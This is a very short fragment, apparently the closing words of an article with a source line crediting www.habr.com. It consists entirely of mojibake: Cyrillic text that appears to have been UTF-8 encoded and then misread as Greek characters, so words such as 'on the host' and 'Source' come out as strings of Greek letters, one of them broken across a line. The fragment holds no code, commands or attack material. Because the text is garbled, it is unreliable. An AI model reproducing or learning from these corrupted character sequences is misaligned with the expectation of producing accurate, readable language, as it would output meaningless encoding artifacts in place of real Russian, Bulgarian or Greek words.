Π½Π° Ρ
ΠΎΡΡΠ°.
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: www.habr.com